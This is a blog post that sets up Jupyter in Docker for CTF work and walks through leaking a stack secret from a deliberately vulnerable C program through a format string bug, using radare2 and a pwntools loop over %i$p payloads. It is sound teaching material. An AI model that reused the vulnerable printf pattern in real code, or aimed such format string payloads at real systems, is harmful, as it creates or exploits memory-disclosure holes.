I’ve been tripping with Jupyter a lot lately. I love that it’s both a markdown editor and a live python code prompt, and I’ve been working on making the most out of it. So far, I’ve mostly used it to document my capture-the-flag challenges, but I think that in the long term it could serve as a collaborative reporting and pentesting tool. I’ve still got a long way to go until that happens, but in the meantime I thought I’d collect my thoughts in blog post form :)

Installing jupyter

The beautiful thing about jupyter is that it runs on python. If you have python running, launching python -m pip install jupyter will be enough to get you going. Simple, right? Yeah, too simple for me. Boring. This why I decided that I wanted to get my jupyter notebook running in a docker \_(^.^)_/ . Seriously, though, running jupyter in a docker makes it portable across operating systems, and keeps it clean and independent from your host’s installation. Also, it’s a web application… that can access your file system and allow you to run code on it. A modicum of isolation is in order here.

I have two files: a Dockerfile for setting up my docker image, and a Makefile for building, running and stopping and starting my container.

Here’s the Dockerfile:

FROM ubuntu                                                                                         
RUN apt-get update                                                                                  
RUN apt-get upgrade -y                                                                              
RUN apt-get install -y python3 python3-pip python python-pip radare2 build-essential                
RUN python3 -m pip install ipython jupyter                                                          
RUN python -m pip install pwntools r2pipe pwntools-dbg-r2 ipython jupyter                           
RUN useradd -ms /bin/bash jupyter                                                                   
USER jupyter                                                                                        
WORKDIR /notebook  

A couple of notes, here: first, you’ll notice I’m installing python 2 and 3, along with the jupyter packages for both. The order of installation is important - first python3, then python2. I’m installing python 2 here because I want to use pwntools, but I also want python 3 up and running because it’s 2019 and python 2 will eventually go the way of the dodo. Second, you could just install python3, python3-pip and run a nice, clean jupyter notebook that doesn’t have all this additional stuff I’ve shoved into my docker. However, I want this extra stuff because I’m interested in using jupyter for pwnage! Last but not least: I create a non-root user for my docker called jupyter. If someone manages to gain access to my notebook, then they’re a bit more limited with regards to the damage they could do.

Here’s the Makefile:

docker:
	docker build -t jupyter .

docker-run:
	docker run --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name jupyter-notebook -p 127.0.0.1:8888:8888 -v /home/inf0junki3/notebook:/notebook  -it jupyter jupyter notebook --ip 0.0.0.0

docker-start:
	docker start jupyter-notebook

docker-stop:
	docker stop jupyter-notebook

You’ll notice that my docker-run task forwards my container’s port 8888 to my loopback address at port 8888. It also maps a local directory, /home/myuser/notebook, to the /notebook directory on the container. Anything I write in my notebook gets saved on my host system - so I can delete my docker, update it, tweak it, recreate it, and what have you without losing my notebooks. In fact… As I write this (in jupyter) I keep stopping my container, tweaking it and rebuilding it. A bit tedious, like anything repetitive is bound to be - but otherwise easy and with no data loss. One quick last thing to point out here: you need the --cap-add=SYS_PTRACE --security-opt seccomp=unconfined portion to allow debugging in the container; in principle this should be OK… But I’ll admit that I still have a lot to learn about docker security. My current thinking is that the container is running with a non-privileged user, and that the pid namespace is different than the host’s namespace.

Your first jupyter pwn

Jupyter can execute python out-of-the box. For example:

import pip
pip.main(["install", "requests"])

import requests
response = requests.get("https://heapspray.io/vnc-passwords.html")
print(response.text)
Collecting requests
  Using cached https://files.pythonhosted.org/packages/7d/e3/20f3d364d6c8e5d2353c72a67778eb189176f08e873c9900e10c0287b84b/requests-2.21.0-py2.py3-none-any.whl
Collecting urllib3<1.25,>=1.21.1 (from requests)
  Using cached https://files.pythonhosted.org/packages/62/00/ee1d7de624db8ba7090d1226aebefab96a2c71cd5cfa7629d6ad3f61b79e/urllib3-1.24.1-py2.py3-none-any.whl
Collecting certifi>=2017.4.17 (from requests)
  Using cached https://files.pythonhosted.org/packages/60/75/f692a584e85b7eaba0e03827b3d51f45f571c2e793dd731e598828d380aa/certifi-2019.3.9-py2.py3-none-any.whl
Collecting chardet<3.1.0,>=3.0.2 (from requests)
  Using cached https://files.pythonhosted.org/packages/bc/a9/01ffebfb562e4274b6487b4bb1ddec7ca55ec7510b22e4c51f14098443b8/chardet-3.0.4-py2.py3-none-any.whl
Collecting idna<2.9,>=2.5 (from requests)
  Using cached https://files.pythonhosted.org/packages/14/2c/cd551d81dbe15200be1cf41cd03869a46fe7226e7450af7a6545bfc474c9/idna-2.8-py2.py3-none-any.whl
Installing collected packages: urllib3, certifi, chardet, idna, requests
Successfully installed certifi-2019.3.9 chardet-3.0.4 idna-2.8 requests-2.21.0 urllib3-1.24.1
<!DOCTYPE html>
<html lang="en">
<head>
        <meta charset="utf-8" />
        <title>VNC passwords</title>
        <link rel="stylesheet" href="/theme/css/main.css" />

        <!--[if IE]>
            <script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>
        <![endif]-->
</head>

<body id="index" class="home">
        <header id="banner" class="body">
                <h1><a href="/">heapspray.io - a plethora of infosec garbage. </a></h1>
                <nav><ul>
                </ul>
                </nav>
        </header><!-- /#banner -->
<section id="content" class="body">
  <article>
    <header>
      <h1 class="entry-title">
        <a href="/vnc-passwords.html" rel="bookmark"
           title="Permalink to VNC passwords">VNC passwords</a></h1>
    </header>

    <div class="entry-content">
<footer class="post-info">
        <span>Wed 12 March 2014</span>

</footer><!-- /.post-info -->      <p>We like to think of VNC passwords as encrypted; but when you consider
that they're encrypted using DES (a weak encryption algorithm) with a
key that is hardcoded... Well... That pretty much makes VNC
passwords&nbsp;<em>encoded</em>&nbsp;and not&nbsp;<em>encrypted</em>. There are a few VNC
password revealers out there, such
as&nbsp;<a class="reference external" href="https://github.com/jeroennijhof/vncpwd">vncpwd</a>&nbsp;or&nbsp;<a class="reference external" href="http://www.nirsoft.net/utils/vnc_password.html">VNCPassView</a>,
the former can be used in Linux and the latter in Windows. A
prerequisite to using these is that you have access to the VNC passwd
file and/or registry. Other tools exist to snarf the VNC password out of
network captures.</p>

    </div><!-- /.entry-content -->

  </article>
</section>
        <section id="extras" class="body">
                <div class="blogroll">
                        <h2>blogroll</h2>
                        <ul>
                            <li><a href="https://deadc0de.re/">deadc0de.re</a></li>
                            <li><a href="https://0xabe.io/">0xabe.io</a></li>
                            <li><a href="https://www.freeture.ch/">freeture.ch</a></li>
                            <li><a href="https://rolinh.ch/">rolinh.ch</a></li>
                        </ul>
                </div><!-- /.blogroll -->
                <div class="social">
                        <h2>social</h2>
                        <ul>

                            <li><a href="https://twitter.com/Inf0Junki3">Twitter</a></li>
                            <li><a href="https://delicious.com/redparanoid">Delicious</a></li>
                        </ul>
                </div><!-- /.social -->
        </section><!-- /#extras -->

        <footer id="contentinfo" class="body">
                <p>Powered by <a href="http://getpelican.com/">Pelican</a>. Theme <a href="https://github.com/blueicefield/pelican-blueidea/">blueidea</a>, inspired by the default theme.</p>
        </footer><!-- /#contentinfo -->

</body>
</html>

See what I did, there? I actually installed a python module, requests, via pip and then used it! Cool. In this manner, you could pretty much install any pre-requisites you need in your docker on-the-fly, and use it for your pwns. There is one caveat: for packages that require a terminal (such as pwntools), you do have to specify environment variables at least once in the notebook before you use them:

%env TERMINFO=/usr/share/terminfo
%env PWNLIB_NOTERM=true

from pwn import *
import r2pipe
env: TERMINFO=/usr/share/terminfo
env: PWNLIB_NOTERM=true

Now, you should be able to use pwntools to your heart’s content.

Prepping pwnable code

Let’s take a look at an example, now. I lifted this code off of a site called geeksforgeeks:

VULNERABLE_CODE = """
// A simple C program with format 
// string vulnerability 
#include<stdio.h> 
  
int main(int argc, char** argv) 
{ 
    char secret[7] = "penguin";
    char buffer[100]; 
    strncpy(buffer, argv[1], 100); 
  
    // We are passing command line 
    // argument to printf 
    printf(buffer); 
  
    return 0; 
}
"""

Didn’t look at the solution, because I wanted to solve this from jupyter. Let’s compile this:

with open("vulnerable.c", "w") as vulnerable_file:
    vulnerable_file.write(VULNERABLE_CODE)
import os
os.system("gcc vulnerable.c -o vulnerable -no-pie")
print(os.path.exists("vulnerable"))
True

Running r2pipe

Let’s see how this loads up, now. I’m going to tell r2 to open vulnerable in debug mode:

r2 = r2pipe.open("vulnerable", flags = ["-d", "-e", "scr.color=true"])
r2.cmd("aaaa")
r2.cmd("doo aaaabbbbccccdddd")
print(r2.cmd("iy"))
print(r2.cmd("is"))
print(r2.cmd("pdf @ main"))
blksz    0x0
block    0x100
fd       5
file     /home/inf0junki3/notebook/research/blog_posts/vulnerable
format   elf64
iorw     true
mode     -rwx
referer  dbg:///home/inf0junki3/notebook/research/blog_posts/vulnerable  aaaabbbbccccdddd
type     EXEC (Executable file)
arch     x86
binsz    6492
bintype  elf
bits     64
canary   true
class    ELF64
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
static   false
stripped false
subsys   linux
va       true

[Symbols]
027 0x00000500 0x00400500  LOCAL   FUNC    0 deregister_tm_clones
028 0x00000530 0x00400530  LOCAL   FUNC    0 register_tm_clones
029 0x00000570 0x00400570  LOCAL   FUNC    0 __do_global_dtors_aux
030 0x00001040 0x00601040  LOCAL OBJECT    1 completed.7697
031 0x00000e18 0x00600e18  LOCAL OBJECT    0 __do_global_dtors_aux_fini_array_entry
032 0x000005a0 0x004005a0  LOCAL   FUNC    0 frame_dummy
033 0x00000e10 0x00600e10  LOCAL OBJECT    0 __frame_dummy_init_array_entry
036 0x000007ec 0x004007ec  LOCAL OBJECT    0 __FRAME_END__
038 0x00000e18 0x00600e18  LOCAL NOTYPE    0 __init_array_end
039 0x00000e20 0x00600e20  LOCAL OBJECT    0 _DYNAMIC
040 0x00000e10 0x00600e10  LOCAL NOTYPE    0 __init_array_start
041 0x000006b4 0x004006b4  LOCAL NOTYPE    0 __GNU_EH_FRAME_HDR
042 0x00001000 0x00601000  LOCAL OBJECT    0 _GLOBAL_OFFSET_TABLE_
043 0x000006a0 0x004006a0 GLOBAL   FUNC    2 __libc_csu_fini
045 0x00001030 0x00601030   WEAK NOTYPE    0 data_start
046 0x00001040 0x00601040 GLOBAL NOTYPE    0 _edata
047 0x000006a4 0x004006a4 GLOBAL   FUNC    0 _fini
051 0x00001030 0x00601030 GLOBAL NOTYPE    0 __data_start
053 0x00001038 0x00601038 GLOBAL OBJECT    0 __dso_handle
054 0x000006b0 0x004006b0 GLOBAL OBJECT    4 _IO_stdin_used
055 0x00000630 0x00400630 GLOBAL   FUNC  101 __libc_csu_init
056 0x00601048 0x00601048 GLOBAL NOTYPE    0 _end
057 0x000004f0 0x004004f0 GLOBAL   FUNC    2 _dl_relocate_static_pie
058 0x000004c0 0x004004c0 GLOBAL   FUNC   43 _start
059 0x00001040 0x00601040 GLOBAL NOTYPE    0 __bss_start
060 0x000005a7 0x004005a7 GLOBAL   FUNC  134 main
061 0x00001040 0x00601040 GLOBAL OBJECT    0 __TMC_END__
062 0x00000460 0x00400460 GLOBAL   FUNC    0 _init
001 0x00000490 0x00400490 GLOBAL   FUNC   16 imp.strncpy
002 0x000004a0 0x004004a0 GLOBAL   FUNC   16 imp.__stack_chk_fail
003 0x000004b0 0x004004b0 GLOBAL   FUNC   16 imp.printf
004 0x00000000 0x00400000 GLOBAL   FUNC   16 imp.__libc_start_main
005 0x00000000 0x00400000   WEAK NOTYPE   16 imp.__gmon_start__
004 0x00000000 0x00400000 GLOBAL   FUNC   16 imp.__libc_start_main
005 0x00000000 0x00400000   WEAK NOTYPE   16 imp.__gmon_start__

            ;-- main:
/ (fcn) sym.main 134
|   sym.main ();
|           ; var int local_90h @ rbp-0x90
|           ; var int local_84h @ rbp-0x84
|           ; var int local_77h @ rbp-0x77
|           ; var int local_73h @ rbp-0x73
|           ; var int local_71h @ rbp-0x71
|           ; var int local_70h @ rbp-0x70
|           ; var int local_8h @ rbp-0x8
|              ; DATA XREF from 0x004004dd (entry0)
|           0x004005a7      55             push rbp
|           0x004005a8      4889e5         mov rbp, rsp
|           0x004005ab      4881ec900000.  sub rsp, 0x90
|           0x004005b2      89bd7cffffff   mov dword [local_84h], edi
|           0x004005b8      4889b570ffff.  mov qword [local_90h], rsi
|           0x004005bf      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x004005c8      488945f8       mov qword [local_8h], rax
|           0x004005cc      31c0           xor eax, eax
|           0x004005ce      c7458970656e.  mov dword [local_77h], 0x676e6570
|           0x004005d5      66c7458d7569   mov word [local_73h], 0x6975
|           0x004005db      c6458f6e       mov byte [local_71h], 0x6e  ; 'n' ; 110
|           0x004005df      488b8570ffff.  mov rax, qword [local_90h]
|           0x004005e6      4883c008       add rax, 8
|           0x004005ea      488b08         mov rcx, qword [rax]
|           0x004005ed      488d4590       lea rax, qword [local_70h]
|           0x004005f1      ba64000000     mov edx, 0x64               ; 'd' ; 100 ; size_t  n
|           0x004005f6      4889ce         mov rsi, rcx                ; const char * src
|           0x004005f9      4889c7         mov rdi, rax                ; char *dest
|           0x004005fc      e88ffeffff     call sym.imp.strncpy        ; char *strncpy(char *dest, const char *src, size_t  n)
|           0x00400601      488d4590       lea rax, qword [local_70h]
|           0x00400605      4889c7         mov rdi, rax                ; const char * format
|           0x00400608      b800000000     mov eax, 0
|           0x0040060d      e89efeffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400612      b800000000     mov eax, 0
|           0x00400617      488b55f8       mov rdx, qword [local_8h]
|           0x0040061b      644833142528.  xor rdx, qword fs:[0x28]
|       ,=< 0x00400624      7405           je 0x40062b
|       |   0x00400626      e875feffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       `-> 0x0040062b      c9             leave
\           0x0040062c      c3             ret

One should note here that on my physical host I had r2dec running as well, which allowed me to decompile the code with pdd @ main. Sadly, this doesn’t work in my docker setup. Why? Because the current version of the radare2 package in the apt repository appears to be behind the packages set up with r2pm - so r2dec fails to compile. One way of addressing this is to get the latest version of radare2 - there are even nifty instructions on how to do this here: http://radare.today/posts/getting-the-latest-radare2/. But I’m happy to look at the disassembly for now; the r2dec decompiler does not bring all that much when compared to Ida Pro’s decompiler or ghidra’s. Maybe one day I’ll change my mind.

As an argument, I specified “aaaabbbbccccdddd”. I want to leak the secret here, which is “penguin”. I want to break right after printf and then show the stack:

r2.cmd("db 0x0040060d")
r2.cmd("dcu main")
r2.cmd("dc")
u''

To dump the same kind of information that I would see in Radare2’s visual mode, I’d use something like this:

print(r2.cmd("px @ rsp"))
print(r2.cmd("dr"))
print(r2.cmd("pd"))
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x7ffcf638f620  98f7 38f6 fc7f 0000 1057 43c1 0200 0000  ..8......WC.....
0x7ffcf638f630  0000 0000 0000 0000 0070 656e 6775 696e  .........penguin
0x7ffcf638f640  6161 6161 6262 6262 6363 6363 6464 6464  aaaabbbbccccdddd
0x7ffcf638f650  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7ffcf638f660  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7ffcf638f670  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7ffcf638f680  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7ffcf638f690  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7ffcf638f6a0  0000 0000 fc7f 0000 00dc 7cdd 009c 645a  ..........|...dZ
0x7ffcf638f6b0  3006 4000 0000 0000 97cb e3c0 3b7f 0000  0.@.........;...
0x7ffcf638f6c0  0200 0000 0000 0000 98f7 38f6 fc7f 0000  ..........8.....
0x7ffcf638f6d0  0080 0000 0200 0000 a705 4000 0000 0000  ..........@.....
0x7ffcf638f6e0  0000 0000 0000 0000 0003 f09f 5110 ec2b  ............Q..+
0x7ffcf638f6f0  c004 4000 0000 0000 90f7 38f6 fc7f 0000  [email protected].....
0x7ffcf638f700  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7ffcf638f710  0003 107e a0fc 15d4 0003 0e05 1691 9bd5  ...~............

rax = 0x00000000
rbx = 0x00000000
rcx = 0x7f3bc0ed28a0
rdx = 0x00000000
r8 = 0x00000004
r9 = 0x7f3bc1207d80
r10 = 0x00000003
r11 = 0x7f3bc0fca550
r12 = 0x004004c0
r13 = 0x7ffcf638f790
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x00000001
rdi = 0x7ffcf638f640
rsp = 0x7ffcf638f620
rbp = 0x7ffcf638f6b0
rip = 0x0040060d
rflags = 0x00000203
orax = 0xffffffffffffffff

|           ;-- rip:
|           0x0040060d b    e89efeffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400612      b800000000     mov eax, 0
|           0x00400617      488b55f8       mov rdx, qword [local_8h]
|           0x0040061b      644833142528.  xor rdx, qword fs:[0x28]
|       ,=< 0x00400624      7405           je 0x40062b
|       |   0x00400626      e875feffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       `-> 0x0040062b      c9             leave
\           0x0040062c      c3             ret
            0x0040062d      0f1f00         nop dword [rax]
/ (fcn) sym.__libc_csu_init 101
|   sym.__libc_csu_init ();
|              ; DATA XREF from 0x004004d6 (entry0)
|           0x00400630      4157           push r15
|           0x00400632      4156           push r14
|           0x00400634      4989d7         mov r15, rdx
|           0x00400637      4155           push r13
|           0x00400639      4154           push r12
|           0x0040063b      4c8d25ce0720.  lea r12, qword obj.__frame_dummy_init_array_entry ; loc.__init_array_start ; 0x600e10
|           0x00400642      55             push rbp
|           0x00400643      488d2dce0720.  lea rbp, qword obj.__do_global_dtors_aux_fini_array_entry ; loc.__init_array_end ; 0x600e18 ; "p\x05@"
|           0x0040064a      53             push rbx
|           0x0040064b      4189fd         mov r13d, edi
|           0x0040064e      4989f6         mov r14, rsi
|           0x00400651      4c29e5         sub rbp, r12
|           0x00400654      4883ec08       sub rsp, 8
|           0x00400658      48c1fd03       sar rbp, 3
|           0x0040065c      e8fffdffff     call sym._init
|           0x00400661      4885ed         test rbp, rbp
|       ,=< 0x00400664      7420           je 0x400686
|       |   0x00400666      31db           xor ebx, ebx
|       |   0x00400668      0f1f84000000.  nop dword [rax + rax]
|      .--> 0x00400670      4c89fa         mov rdx, r15
|      :|   0x00400673      4c89f6         mov rsi, r14
|      :|   0x00400676      4489ef         mov edi, r13d
|      :|   0x00400679      41ff14dc       call qword [r12 + rbx*8]
|      :|   0x0040067d      4883c301       add rbx, 1
|      :|   0x00400681      4839dd         cmp rbp, rbx
|      `==< 0x00400684      75ea           jne 0x400670
|       `-> 0x00400686      4883c408       add rsp, 8
|           0x0040068a      5b             pop rbx
|           0x0040068b      5d             pop rbp
|           0x0040068c      415c           pop r12
|           0x0040068e      415d           pop r13
|           0x00400690      415e           pop r14
|           0x00400692      415f           pop r15
\           0x00400694      c3             ret
            0x00400695      90             nop
            0x00400696      662e0f1f8400.  nop word cs:[rax + rax]
/ (fcn) sym.__libc_csu_fini 2
|   sym.__libc_csu_fini ();
|              ; DATA XREF from 0x004004cf (entry0)
\           0x004006a0      f3c3           ret
            ;-- section_end..text:
            0x004006a2      0000           add byte [rax], al
|           ;-- section..fini:
/ (fcn) sym._fini 9
|   sym._fini ();
|           0x004006a4      4883ec08       sub rsp, 8                  ; [14] --r-x section size 9 named .fini
|           0x004006a8      4883c408       add rsp, 8
\           0x004006ac      c3             ret
            ;-- section_end..fini:
            0x004006ad      0000           add byte [rax], al
            0x004006af  ~   0001           add byte [rcx], al
            ;-- section..rodata:
            ;-- _IO_stdin_used:
            0x004006b0      0100           add dword [rax], eax        ; [15] --r-- section size 4 named .rodata
            0x004006b2      0200           add al, byte [rax]
            ;-- section_end..rodata:
            ;-- section..eh_frame_hdr:
            ;-- section.GNU_EH_FRAME:
            ;-- __GNU_EH_FRAME_HDR:
            0x004006b4      011b           add dword [rbx], ebx        ; [35] m-r-- section size 60 named GNU_EH_FRAME
            0x004006b6      033b           add edi, dword [rbx]
            0x004006b8      3800           cmp byte [rax], al          ; [0x2:1]=255 ; 2
            0x004006ba      0000           add byte [rax], al
            0x004006bc      06             invalid
            0x004006bd      0000           add byte [rax], al
            0x004006bf      00cc           add ah, cl
            0x004006c1      fd             std
            0x004006c2      ff             invalid
            0x004006c3      ff940000000c.  call qword [rax + rax - 0x1f40000]

Looking at the output from above, the secret is at 0x7ffcf638f639 while the rsp is at 0x7ffcf638f620. With the format string bug, if we read 32 bytes off the stack the last 8 will correspond to our secret.

print(r2.cmd("px @ rsp+24"))
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x7ffcf638f638  0070 656e 6775 696e 6161 6161 6262 6262  .penguinaaaabbbb
0x7ffcf638f648  6363 6363 6464 6464 0000 0000 0000 0000  ccccdddd........
0x7ffcf638f658  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7ffcf638f668  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7ffcf638f678  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7ffcf638f688  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7ffcf638f698  0000 0000 0000 0000 0000 0000 fc7f 0000  ................
0x7ffcf638f6a8  00dc 7cdd 009c 645a 3006 4000 0000 0000  ..|...dZ0.@.....
0x7ffcf638f6b8  97cb e3c0 3b7f 0000 0200 0000 0000 0000  ....;...........
0x7ffcf638f6c8  98f7 38f6 fc7f 0000 0080 0000 0200 0000  ..8.............
0x7ffcf638f6d8  a705 4000 0000 0000 0000 0000 0000 0000  ..@.............
0x7ffcf638f6e8  0003 f09f 5110 ec2b c004 4000 0000 0000  ....Q..+..@.....
0x7ffcf638f6f8  90f7 38f6 fc7f 0000 0000 0000 0000 0000  ..8.............
0x7ffcf638f708  0000 0000 0000 0000 0003 107e a0fc 15d4  ...........~....
0x7ffcf638f718  0003 0e05 1691 9bd5 0000 0000 fc7f 0000  ................
0x7ffcf638f728  0000 0000 0000 0000 0000 0000 0000 0000  ................

Ooooo, OK so we see our secret, “penguin”, is on the stack. Next, I iterate across my parameters using %i$p, where “i” is the index of my parameter. Once I hit the 9th parameter, I find my secret:

from pwn import *
import binascii
for i in range(1,10):
    cur_process = process(["./vulnerable", "%{}$p".format(i)])
    output = cur_process.recv(1024)
    try:
        print("{}: {}".format(i, binascii.unhexlify(output.replace("0x", ""))))
    except Exception:
        print("{} skipped...".format(i))
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 222
Starting local process './vulnerable': pid 222
[*] Process './vulnerable' stopped with exit code 0 (pid 222)
Process './vulnerable' stopped with exit code 0 (pid 222)
1 skipped...
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 223
Starting local process './vulnerable': pid 223
[*] Process './vulnerable' stopped with exit code 0 (pid 223)
Process './vulnerable' stopped with exit code 0 (pid 223)
2 skipped...
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 224
Starting local process './vulnerable': pid 224
[*] Process './vulnerable' stopped with exit code 0 (pid 224)
Process './vulnerable' stopped with exit code 0 (pid 224)
3: t�a8�
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 225
Starting local process './vulnerable': pid 225
[*] Process './vulnerable' stopped with exit code 0 (pid 225)
Process './vulnerable' stopped with exit code 0 (pid 225)
4 skipped...
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 226
Starting local process './vulnerable': pid 226
[*] Process './vulnerable' stopped with exit code 0 (pid 226)
Process './vulnerable' stopped with exit code 0 (pid 226)
5: ��=�
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 227
Starting local process './vulnerable': pid 227
[*] Process './vulnerable' stopped with exit code 0 (pid 227)
Process './vulnerable' stopped with exit code 0 (pid 227)
6: �gn�H
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 228
Starting local process './vulnerable': pid 228
[*] Process './vulnerable' stopped with exit code 0 (pid 228)
Process './vulnerable' stopped with exit code 0 (pid 228)
7 skipped...
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 229
Starting local process './vulnerable': pid 229
[*] Process './vulnerable' stopped with exit code 0 (pid 229)
Process './vulnerable' stopped with exit code 0 (pid 229)
8 skipped...
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 230
Starting local process './vulnerable': pid 230
[*] Process './vulnerable' stopped with exit code 0 (pid 230)
Process './vulnerable' stopped with exit code 0 (pid 230)
9: niugnep

Now we have the secret - we need to unjumble it!

cur_process = process(["./vulnerable", "%9$p"])
jumbled = binascii.unhexlify(cur_process.recv(1024).replace("0x", ""))
ordered = []
for i in range(len(jumbled) / 4):
    start = i * 4
    end   = start + 4
    ordered.append(jumbled[start:end][::-1])
print("".join(ordered[::-1]))
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 231
Starting local process './vulnerable': pid 231
[*] Process './vulnerable' stopped with exit code 0 (pid 231)
Process './vulnerable' stopped with exit code 0 (pid 231)
penguin

If you’re interested in seeing how this works, I have attached my jupyter notebook here. It is relatively easy to check for nastiness before you run it (which is a good thing… >.>). If you do run it, remember that upon compilation your memory offsets will be different!

Happy hunting!